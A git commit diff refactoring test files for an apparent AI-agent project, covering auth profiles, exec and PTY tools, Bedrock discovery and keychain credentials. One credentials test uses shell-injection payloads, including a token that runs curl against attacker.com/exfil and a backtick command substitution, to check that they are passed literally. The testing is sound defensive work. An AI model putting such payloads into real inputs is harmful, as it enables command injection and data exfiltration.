refactor(agent): dedupe harness and command workflows

This commit is contained in:
Peter Steinberger
2026-02-16 14:52:09 +00:00
parent 04892ee230
commit f717a13039
204 changed files with 7366 additions and 11540 deletions

View File

@@ -8,26 +8,43 @@ import {
markAuthProfileFailure,
} from "./auth-profiles.js";
type AuthProfileStore = ReturnType<typeof ensureAuthProfileStore>;
async function withAuthProfileStore(
fn: (ctx: { agentDir: string; store: AuthProfileStore }) => Promise<void>,
): Promise<void> {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
try {
const authPath = path.join(agentDir, "auth-profiles.json");
fs.writeFileSync(
authPath,
JSON.stringify({
version: 1,
profiles: {
"anthropic:default": {
type: "api_key",
provider: "anthropic",
key: "sk-default",
},
},
}),
);
const store = ensureAuthProfileStore(agentDir);
await fn({ agentDir, store });
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
}
function expectCooldownInRange(remainingMs: number, minMs: number, maxMs: number): void {
expect(remainingMs).toBeGreaterThan(minMs);
expect(remainingMs).toBeLessThan(maxMs);
}
describe("markAuthProfileFailure", () => {
it("disables billing failures for ~5 hours by default", async () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
try {
const authPath = path.join(agentDir, "auth-profiles.json");
fs.writeFileSync(
authPath,
JSON.stringify({
version: 1,
profiles: {
"anthropic:default": {
type: "api_key",
provider: "anthropic",
key: "sk-default",
},
},
}),
);
const store = ensureAuthProfileStore(agentDir);
await withAuthProfileStore(async ({ agentDir, store }) => {
const startedAt = Date.now();
await markAuthProfileFailure({
store,
@@ -39,31 +56,11 @@ describe("markAuthProfileFailure", () => {
const disabledUntil = store.usageStats?.["anthropic:default"]?.disabledUntil;
expect(typeof disabledUntil).toBe("number");
const remainingMs = (disabledUntil as number) - startedAt;
expect(remainingMs).toBeGreaterThan(4.5 * 60 * 60 * 1000);
expect(remainingMs).toBeLessThan(5.5 * 60 * 60 * 1000);
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
expectCooldownInRange(remainingMs, 4.5 * 60 * 60 * 1000, 5.5 * 60 * 60 * 1000);
});
});
it("honors per-provider billing backoff overrides", async () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
try {
const authPath = path.join(agentDir, "auth-profiles.json");
fs.writeFileSync(
authPath,
JSON.stringify({
version: 1,
profiles: {
"anthropic:default": {
type: "api_key",
provider: "anthropic",
key: "sk-default",
},
},
}),
);
const store = ensureAuthProfileStore(agentDir);
await withAuthProfileStore(async ({ agentDir, store }) => {
const startedAt = Date.now();
await markAuthProfileFailure({
store,
@@ -83,11 +80,8 @@ describe("markAuthProfileFailure", () => {
const disabledUntil = store.usageStats?.["anthropic:default"]?.disabledUntil;
expect(typeof disabledUntil).toBe("number");
const remainingMs = (disabledUntil as number) - startedAt;
expect(remainingMs).toBeGreaterThan(0.8 * 60 * 60 * 1000);
expect(remainingMs).toBeLessThan(1.2 * 60 * 60 * 1000);
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
expectCooldownInRange(remainingMs, 0.8 * 60 * 60 * 1000, 1.2 * 60 * 60 * 1000);
});
});
it("resets backoff counters outside the failure window", async () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));

View File

@@ -1,5 +1,32 @@
import { describe, expect, it } from "vitest";
import { resolveAuthProfileOrder } from "./auth-profiles.js";
import { type AuthProfileStore, resolveAuthProfileOrder } from "./auth-profiles.js";
function makeApiKeyStore(provider: string, profileIds: string[]): AuthProfileStore {
return {
version: 1,
profiles: Object.fromEntries(
profileIds.map((profileId) => [
profileId,
{
type: "api_key",
provider,
key: profileId.endsWith(":work") ? "sk-work" : "sk-default",
},
]),
),
};
}
function makeApiKeyProfilesByProviderProvider(
providerByProfileId: Record<string, string>,
): Record<string, { provider: string; mode: "api_key" }> {
return Object.fromEntries(
Object.entries(providerByProfileId).map(([profileId, provider]) => [
profileId,
{ provider, mode: "api_key" },
]),
);
}
describe("resolveAuthProfileOrder", () => {
it("normalizes z.ai aliases in auth.order", () => {
@@ -7,27 +34,13 @@ describe("resolveAuthProfileOrder", () => {
cfg: {
auth: {
order: { "z.ai": ["zai:work", "zai:default"] },
profiles: {
"zai:default": { provider: "zai", mode: "api_key" },
"zai:work": { provider: "zai", mode: "api_key" },
},
},
},
store: {
version: 1,
profiles: {
"zai:default": {
type: "api_key",
provider: "zai",
key: "sk-default",
},
"zai:work": {
type: "api_key",
provider: "zai",
key: "sk-work",
},
profiles: makeApiKeyProfilesByProviderProvider({
"zai:default": "zai",
"zai:work": "zai",
}),
},
},
store: makeApiKeyStore("zai", ["zai:default", "zai:work"]),
provider: "zai",
});
expect(order).toEqual(["zai:work", "zai:default"]);
@@ -37,27 +50,13 @@ describe("resolveAuthProfileOrder", () => {
cfg: {
auth: {
order: { OpenAI: ["openai:work", "openai:default"] },
profiles: {
"openai:default": { provider: "openai", mode: "api_key" },
"openai:work": { provider: "openai", mode: "api_key" },
},
},
},
store: {
version: 1,
profiles: {
"openai:default": {
type: "api_key",
provider: "openai",
key: "sk-default",
},
"openai:work": {
type: "api_key",
provider: "openai",
key: "sk-work",
},
profiles: makeApiKeyProfilesByProviderProvider({
"openai:default": "openai",
"openai:work": "openai",
}),
},
},
store: makeApiKeyStore("openai", ["openai:default", "openai:work"]),
provider: "openai",
});
expect(order).toEqual(["openai:work", "openai:default"]);
@@ -66,27 +65,13 @@ describe("resolveAuthProfileOrder", () => {
const order = resolveAuthProfileOrder({
cfg: {
auth: {
profiles: {
"zai:default": { provider: "z.ai", mode: "api_key" },
"zai:work": { provider: "Z.AI", mode: "api_key" },
},
},
},
store: {
version: 1,
profiles: {
"zai:default": {
type: "api_key",
provider: "zai",
key: "sk-default",
},
"zai:work": {
type: "api_key",
provider: "zai",
key: "sk-work",
},
profiles: makeApiKeyProfilesByProviderProvider({
"zai:default": "z.ai",
"zai:work": "Z.AI",
}),
},
},
store: makeApiKeyStore("zai", ["zai:default", "zai:work"]),
provider: "zai",
});
expect(order).toEqual(["zai:default", "zai:work"]);

View File

@@ -62,6 +62,16 @@ async function waitForCompletion(sessionId: string) {
return status;
}
async function runBackgroundEchoLines(lines: string[]) {
const result = await execTool.execute("call1", {
command: echoLines(lines),
background: true,
});
const sessionId = (result.details as { sessionId: string }).sessionId;
await waitForCompletion(sessionId);
return sessionId;
}
beforeEach(() => {
resetProcessRegistryForTests();
resetSystemEventsForTest();
@@ -223,12 +233,7 @@ describe("exec tool backgrounding", () => {
it("defaults process log to a bounded tail when no window is provided", async () => {
const lines = Array.from({ length: 260 }, (_value, index) => `line-${index + 1}`);
const result = await execTool.execute("call1", {
command: echoLines(lines),
background: true,
});
const sessionId = (result.details as { sessionId: string }).sessionId;
await waitForCompletion(sessionId);
const sessionId = await runBackgroundEchoLines(lines);
const log = await processTool.execute("call2", {
action: "log",
@@ -263,12 +268,7 @@ describe("exec tool backgrounding", () => {
it("keeps offset-only log requests unbounded by default tail mode", async () => {
const lines = Array.from({ length: 260 }, (_value, index) => `line-${index + 1}`);
const result = await execTool.execute("call1", {
command: echoLines(lines),
background: true,
});
const sessionId = (result.details as { sessionId: string }).sessionId;
await waitForCompletion(sessionId);
const sessionId = await runBackgroundEchoLines(lines);
const log = await processTool.execute("call2", {
action: "log",

View File

@@ -12,166 +12,121 @@ afterEach(() => {
resetProcessRegistryForTests();
});
test("background exec is not killed when tool signal aborts", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
const abortController = new AbortController();
async function waitForFinishedSession(sessionId: string) {
let finished = getFinishedSession(sessionId);
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
while (!finished && Date.now() < deadline) {
await sleep(20);
finished = getFinishedSession(sessionId);
}
return finished;
}
const result = await tool.execute(
function cleanupRunningSession(sessionId: string) {
const running = getSession(sessionId);
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
return running;
}
async function expectBackgroundSessionSurvivesAbort(params: {
tool: ReturnType<typeof createExecTool>;
executeParams: Record<string, unknown>;
}) {
const abortController = new AbortController();
const result = await params.tool.execute(
"toolcall",
{ command: 'node -e "setTimeout(() => {}, 5000)"', background: true },
params.executeParams,
abortController.signal,
);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
abortController.abort();
await sleep(150);
const running = getSession(sessionId);
const finished = getFinishedSession(sessionId);
try {
expect(finished).toBeUndefined();
expect(running?.exited).toBe(false);
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
cleanupRunningSession(sessionId);
}
}
async function expectBackgroundSessionTimesOut(params: {
tool: ReturnType<typeof createExecTool>;
executeParams: Record<string, unknown>;
signal?: AbortSignal;
abortAfterStart?: boolean;
}) {
const abortController = new AbortController();
const signal = params.signal ?? abortController.signal;
const result = await params.tool.execute("toolcall", params.executeParams, signal);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
if (params.abortAfterStart) {
abortController.abort();
}
const finished = await waitForFinishedSession(sessionId);
try {
expect(finished).toBeTruthy();
expect(finished?.status).toBe("failed");
} finally {
cleanupRunningSession(sessionId);
}
}
test("background exec is not killed when tool signal aborts", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
await expectBackgroundSessionSurvivesAbort({
tool,
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true },
});
});
test("pty background exec is not killed when tool signal aborts", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
const abortController = new AbortController();
const result = await tool.execute(
"toolcall",
{ command: 'node -e "setTimeout(() => {}, 5000)"', background: true, pty: true },
abortController.signal,
);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
abortController.abort();
await sleep(150);
const running = getSession(sessionId);
const finished = getFinishedSession(sessionId);
try {
expect(finished).toBeUndefined();
expect(running?.exited).toBe(false);
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
}
await expectBackgroundSessionSurvivesAbort({
tool,
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', background: true, pty: true },
});
});
test("background exec still times out after tool signal abort", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 0 });
const abortController = new AbortController();
const result = await tool.execute(
"toolcall",
{
await expectBackgroundSessionTimesOut({
tool,
executeParams: {
command: 'node -e "setTimeout(() => {}, 5000)"',
background: true,
timeout: 0.2,
},
abortController.signal,
);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
abortController.abort();
let finished = getFinishedSession(sessionId);
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
while (!finished && Date.now() < deadline) {
await sleep(20);
finished = getFinishedSession(sessionId);
}
const running = getSession(sessionId);
try {
expect(finished).toBeTruthy();
expect(finished?.status).toBe("failed");
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
}
abortAfterStart: true,
});
});
test("yielded background exec is not killed when tool signal aborts", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 10 });
const abortController = new AbortController();
const result = await tool.execute(
"toolcall",
{ command: 'node -e "setTimeout(() => {}, 5000)"', yieldMs: 5 },
abortController.signal,
);
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
abortController.abort();
await sleep(150);
const running = getSession(sessionId);
const finished = getFinishedSession(sessionId);
try {
expect(finished).toBeUndefined();
expect(running?.exited).toBe(false);
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
}
await expectBackgroundSessionSurvivesAbort({
tool,
executeParams: { command: 'node -e "setTimeout(() => {}, 5000)"', yieldMs: 5 },
});
});
test("yielded background exec still times out", async () => {
const tool = createExecTool({ allowBackground: true, backgroundMs: 10 });
const result = await tool.execute("toolcall", {
command: 'node -e "setTimeout(() => {}, 5000)"',
yieldMs: 5,
timeout: 0.2,
await expectBackgroundSessionTimesOut({
tool,
executeParams: {
command: 'node -e "setTimeout(() => {}, 5000)"',
yieldMs: 5,
timeout: 0.2,
},
});
expect(result.details.status).toBe("running");
const sessionId = (result.details as { sessionId: string }).sessionId;
let finished = getFinishedSession(sessionId);
const deadline = Date.now() + (process.platform === "win32" ? 10_000 : 2_000);
while (!finished && Date.now() < deadline) {
await sleep(20);
finished = getFinishedSession(sessionId);
}
const running = getSession(sessionId);
try {
expect(finished).toBeTruthy();
expect(finished?.status).toBe("failed");
} finally {
const pid = running?.pid;
if (pid) {
killProcessTree(pid);
}
}
});

View File

@@ -8,12 +8,11 @@ afterEach(() => {
resetProcessRegistryForTests();
});
test("process send-keys encodes Enter for pty sessions", async () => {
async function startPtySession(command: string) {
const execTool = createExecTool();
const processTool = createProcessTool();
const result = await execTool.execute("toolcall", {
command:
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);process.stdin.on(dataEvent,d=>{process.stdout.write(d);if(d.includes(10)||d.includes(13))process.exit(0);});"',
command,
pty: true,
background: true,
});
@@ -21,6 +20,36 @@ test("process send-keys encodes Enter for pty sessions", async () => {
expect(result.details.status).toBe("running");
const sessionId = result.details.sessionId;
expect(sessionId).toBeTruthy();
return { processTool, sessionId };
}
async function waitForSessionCompletion(params: {
processTool: ReturnType<typeof createProcessTool>;
sessionId: string;
expectedText: string;
}) {
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
while (Date.now() < deadline) {
await sleep(50);
const poll = await params.processTool.execute("toolcall", {
action: "poll",
sessionId: params.sessionId,
});
const details = poll.details as { status?: string; aggregated?: string };
if (details.status !== "running") {
expect(details.status).toBe("completed");
expect(details.aggregated ?? "").toContain(params.expectedText);
return;
}
}
throw new Error(`PTY session did not exit after ${params.expectedText}`);
}
test("process send-keys encodes Enter for pty sessions", async () => {
const { processTool, sessionId } = await startPtySession(
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);process.stdin.on(dataEvent,d=>{process.stdout.write(d);if(d.includes(10)||d.includes(13))process.exit(0);});"',
);
await processTool.execute("toolcall", {
action: "send-keys",
@@ -28,51 +57,18 @@ test("process send-keys encodes Enter for pty sessions", async () => {
keys: ["h", "i", "Enter"],
});
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
while (Date.now() < deadline) {
await sleep(50);
const poll = await processTool.execute("toolcall", { action: "poll", sessionId });
const details = poll.details as { status?: string; aggregated?: string };
if (details.status !== "running") {
expect(details.status).toBe("completed");
expect(details.aggregated ?? "").toContain("hi");
return;
}
}
throw new Error("PTY session did not exit after send-keys");
await waitForSessionCompletion({ processTool, sessionId, expectedText: "hi" });
});
test("process submit sends Enter for pty sessions", async () => {
const execTool = createExecTool();
const processTool = createProcessTool();
const result = await execTool.execute("toolcall", {
command:
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);const submitted=String.fromCharCode(115,117,98,109,105,116,116,101,100);process.stdin.on(dataEvent,d=>{if(d.includes(10)||d.includes(13)){process.stdout.write(submitted);process.exit(0);}});"',
pty: true,
background: true,
});
expect(result.details.status).toBe("running");
const sessionId = result.details.sessionId;
expect(sessionId).toBeTruthy();
const { processTool, sessionId } = await startPtySession(
'node -e "const dataEvent=String.fromCharCode(100,97,116,97);const submitted=String.fromCharCode(115,117,98,109,105,116,116,101,100);process.stdin.on(dataEvent,d=>{if(d.includes(10)||d.includes(13)){process.stdout.write(submitted);process.exit(0);}});"',
);
await processTool.execute("toolcall", {
action: "submit",
sessionId,
});
const deadline = Date.now() + (process.platform === "win32" ? 4000 : 2000);
while (Date.now() < deadline) {
await sleep(50);
const poll = await processTool.execute("toolcall", { action: "poll", sessionId });
const details = poll.details as { status?: string; aggregated?: string };
if (details.status !== "running") {
expect(details.status).toBe("completed");
expect(details.aggregated ?? "").toContain("submitted");
return;
}
}
throw new Error("PTY session did not exit after submit");
await waitForSessionCompletion({ processTool, sessionId, expectedText: "submitted" });
});

View File

@@ -4,15 +4,35 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
const sendMock = vi.fn();
const clientFactory = () => ({ send: sendMock }) as unknown as BedrockClient;
const baseActiveAnthropicSummary = {
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
};
async function loadDiscovery() {
const mod = await import("./bedrock-discovery.js");
mod.resetBedrockDiscoveryCacheForTest();
return mod;
}
function mockSingleActiveSummary(overrides: Partial<typeof baseActiveAnthropicSummary> = {}): void {
sendMock.mockResolvedValueOnce({
modelSummaries: [{ ...baseActiveAnthropicSummary, ...overrides }],
});
}
describe("bedrock discovery", () => {
beforeEach(() => {
sendMock.mockReset();
});
it("filters to active streaming text models and maps modalities", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
const { discoverBedrockModels } = await loadDiscovery();
sendMock.mockResolvedValueOnce({
modelSummaries: [
@@ -68,23 +88,8 @@ describe("bedrock discovery", () => {
});
it("applies provider filter", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
sendMock.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
});
const { discoverBedrockModels } = await loadDiscovery();
mockSingleActiveSummary();
const models = await discoverBedrockModels({
region: "us-east-1",
@@ -95,23 +100,8 @@ describe("bedrock discovery", () => {
});
it("uses configured defaults for context and max tokens", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
sendMock.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
});
const { discoverBedrockModels } = await loadDiscovery();
mockSingleActiveSummary();
const models = await discoverBedrockModels({
region: "us-east-1",
@@ -122,23 +112,8 @@ describe("bedrock discovery", () => {
});
it("caches results when refreshInterval is enabled", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
sendMock.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
});
const { discoverBedrockModels } = await loadDiscovery();
mockSingleActiveSummary();
await discoverBedrockModels({ region: "us-east-1", clientFactory });
await discoverBedrockModels({ region: "us-east-1", clientFactory });
@@ -146,37 +121,11 @@ describe("bedrock discovery", () => {
});
it("skips cache when refreshInterval is 0", async () => {
const { discoverBedrockModels, resetBedrockDiscoveryCacheForTest } =
await import("./bedrock-discovery.js");
resetBedrockDiscoveryCacheForTest();
const { discoverBedrockModels } = await loadDiscovery();
sendMock
.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
})
.mockResolvedValueOnce({
modelSummaries: [
{
modelId: "anthropic.claude-3-7-sonnet-20250219-v1:0",
modelName: "Claude 3.7 Sonnet",
providerName: "anthropic",
inputModalities: ["TEXT"],
outputModalities: ["TEXT"],
responseStreamingSupported: true,
modelLifecycle: { status: "ACTIVE" },
},
],
});
.mockResolvedValueOnce({ modelSummaries: [baseActiveAnthropicSummary] })
.mockResolvedValueOnce({ modelSummaries: [baseActiveAnthropicSummary] });
await discoverBedrockModels({
region: "us-east-1",

View File

@@ -6,6 +6,31 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const execSyncMock = vi.fn();
const execFileSyncMock = vi.fn();
function mockExistingClaudeKeychainItem() {
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
}
function getAddGenericPasswordCall() {
return execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
}
describe("cli credentials", () => {
beforeEach(() => {
vi.useFakeTimers();
@@ -21,19 +46,7 @@ describe("cli credentials", () => {
});
it("updates the Claude Code keychain item in place", async () => {
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
mockExistingClaudeKeychainItem();
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
@@ -50,12 +63,7 @@ describe("cli credentials", () => {
// Verify execFileSync was called with array args (no shell interpretation)
expect(execFileSyncMock).toHaveBeenCalledTimes(2);
const addCall = execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
const addCall = getAddGenericPasswordCall();
expect(addCall?.[0]).toBe("security");
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
});
@@ -63,19 +71,7 @@ describe("cli credentials", () => {
it("prevents shell injection via malicious OAuth token values", async () => {
const maliciousToken = "x'$(curl attacker.com/exfil)'y";
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
mockExistingClaudeKeychainItem();
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
@@ -91,12 +87,7 @@ describe("cli credentials", () => {
expect(ok).toBe(true);
// The -w argument must contain the malicious string literally, not shell-expanded
const addCall = execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];
@@ -108,19 +99,7 @@ describe("cli credentials", () => {
it("prevents shell injection via backtick command substitution in tokens", async () => {
const backtickPayload = "token`id`value";
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
mockExistingClaudeKeychainItem();
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
@@ -136,12 +115,7 @@ describe("cli credentials", () => {
expect(ok).toBe(true);
// Backtick payload must be passed literally, not interpreted
const addCall = execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];

View File

@@ -14,6 +14,59 @@ const oauthFixture = {
accountId: "acct_123",
};
const BEDROCK_PROVIDER_CFG = {
models: {
providers: {
"amazon-bedrock": {
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
api: "bedrock-converse-stream",
auth: "aws-sdk",
models: [],
},
},
},
} as const;
function captureBedrockEnv() {
return {
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
access: process.env.AWS_ACCESS_KEY_ID,
secret: process.env.AWS_SECRET_ACCESS_KEY,
profile: process.env.AWS_PROFILE,
};
}
function restoreBedrockEnv(previous: ReturnType<typeof captureBedrockEnv>) {
if (previous.bearer === undefined) {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
} else {
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
}
if (previous.access === undefined) {
delete process.env.AWS_ACCESS_KEY_ID;
} else {
process.env.AWS_ACCESS_KEY_ID = previous.access;
}
if (previous.secret === undefined) {
delete process.env.AWS_SECRET_ACCESS_KEY;
} else {
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
}
if (previous.profile === undefined) {
delete process.env.AWS_PROFILE;
} else {
process.env.AWS_PROFILE = previous.profile;
}
}
async function resolveBedrockProvider() {
return resolveApiKeyForProvider({
provider: "amazon-bedrock",
store: { version: 1, profiles: {} },
cfg: BEDROCK_PROVIDER_CFG as never,
});
}
describe("getApiKeyForModel", () => {
it("migrates legacy oauth.json into auth-profiles.json", async () => {
const envSnapshot = captureEnv([
@@ -258,12 +311,7 @@ describe("getApiKeyForModel", () => {
});
it("prefers Bedrock bearer token over access keys and profile", async () => {
const previous = {
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
access: process.env.AWS_ACCESS_KEY_ID,
secret: process.env.AWS_SECRET_ACCESS_KEY,
profile: process.env.AWS_PROFILE,
};
const previous = captureBedrockEnv();
try {
process.env.AWS_BEARER_TOKEN_BEDROCK = "bedrock-token";
@@ -271,57 +319,18 @@ describe("getApiKeyForModel", () => {
process.env.AWS_SECRET_ACCESS_KEY = "secret-key";
process.env.AWS_PROFILE = "profile";
const resolved = await resolveApiKeyForProvider({
provider: "amazon-bedrock",
store: { version: 1, profiles: {} },
cfg: {
models: {
providers: {
"amazon-bedrock": {
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
api: "bedrock-converse-stream",
auth: "aws-sdk",
models: [],
},
},
},
} as never,
});
const resolved = await resolveBedrockProvider();
expect(resolved.mode).toBe("aws-sdk");
expect(resolved.apiKey).toBeUndefined();
expect(resolved.source).toContain("AWS_BEARER_TOKEN_BEDROCK");
} finally {
if (previous.bearer === undefined) {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
} else {
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
}
if (previous.access === undefined) {
delete process.env.AWS_ACCESS_KEY_ID;
} else {
process.env.AWS_ACCESS_KEY_ID = previous.access;
}
if (previous.secret === undefined) {
delete process.env.AWS_SECRET_ACCESS_KEY;
} else {
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
}
if (previous.profile === undefined) {
delete process.env.AWS_PROFILE;
} else {
process.env.AWS_PROFILE = previous.profile;
}
restoreBedrockEnv(previous);
}
});
it("prefers Bedrock access keys over profile", async () => {
const previous = {
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
access: process.env.AWS_ACCESS_KEY_ID,
secret: process.env.AWS_SECRET_ACCESS_KEY,
profile: process.env.AWS_PROFILE,
};
const previous = captureBedrockEnv();
try {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
@@ -329,57 +338,18 @@ describe("getApiKeyForModel", () => {
process.env.AWS_SECRET_ACCESS_KEY = "secret-key";
process.env.AWS_PROFILE = "profile";
const resolved = await resolveApiKeyForProvider({
provider: "amazon-bedrock",
store: { version: 1, profiles: {} },
cfg: {
models: {
providers: {
"amazon-bedrock": {
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
api: "bedrock-converse-stream",
auth: "aws-sdk",
models: [],
},
},
},
} as never,
});
const resolved = await resolveBedrockProvider();
expect(resolved.mode).toBe("aws-sdk");
expect(resolved.apiKey).toBeUndefined();
expect(resolved.source).toContain("AWS_ACCESS_KEY_ID");
} finally {
if (previous.bearer === undefined) {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
} else {
process.env.AWS_BEARER_TOKEN_BEDROCK = previous.bearer;
}
if (previous.access === undefined) {
delete process.env.AWS_ACCESS_KEY_ID;
} else {
process.env.AWS_ACCESS_KEY_ID = previous.access;
}
if (previous.secret === undefined) {
delete process.env.AWS_SECRET_ACCESS_KEY;
} else {
process.env.AWS_SECRET_ACCESS_KEY = previous.secret;
}
if (previous.profile === undefined) {
delete process.env.AWS_PROFILE;
} else {
process.env.AWS_PROFILE = previous.profile;
}
restoreBedrockEnv(previous);
}
});
it("uses Bedrock profile when access keys are missing", async () => {
const previous = {
bearer: process.env.AWS_BEARER_TOKEN_BEDROCK,
access: process.env.AWS_ACCESS_KEY_ID,
secret: process.env.AWS_SECRET_ACCESS_KEY,
profile: process.env.AWS_PROFILE,
};
const previous = captureBedrockEnv();
try {
delete process.env.AWS_BEARER_TOKEN_BEDROCK;
@@ -387,47 +357,13 @@ describe("getApiKeyForModel", () => {
delete process.env.AWS_SECRET_ACCESS_KEY;
process.env.AWS_PROFILE = "profile";
const resolved = await resolveApiKeyForProvider({
provider: "amazon-bedrock",
store: { version: 1, profiles: {} },
cfg: {
models: {
providers: {
"amazon-bedrock": {
baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com",
api: "bedrock-converse-stream",
auth: "aws-sdk",
models: [],
},
},
},
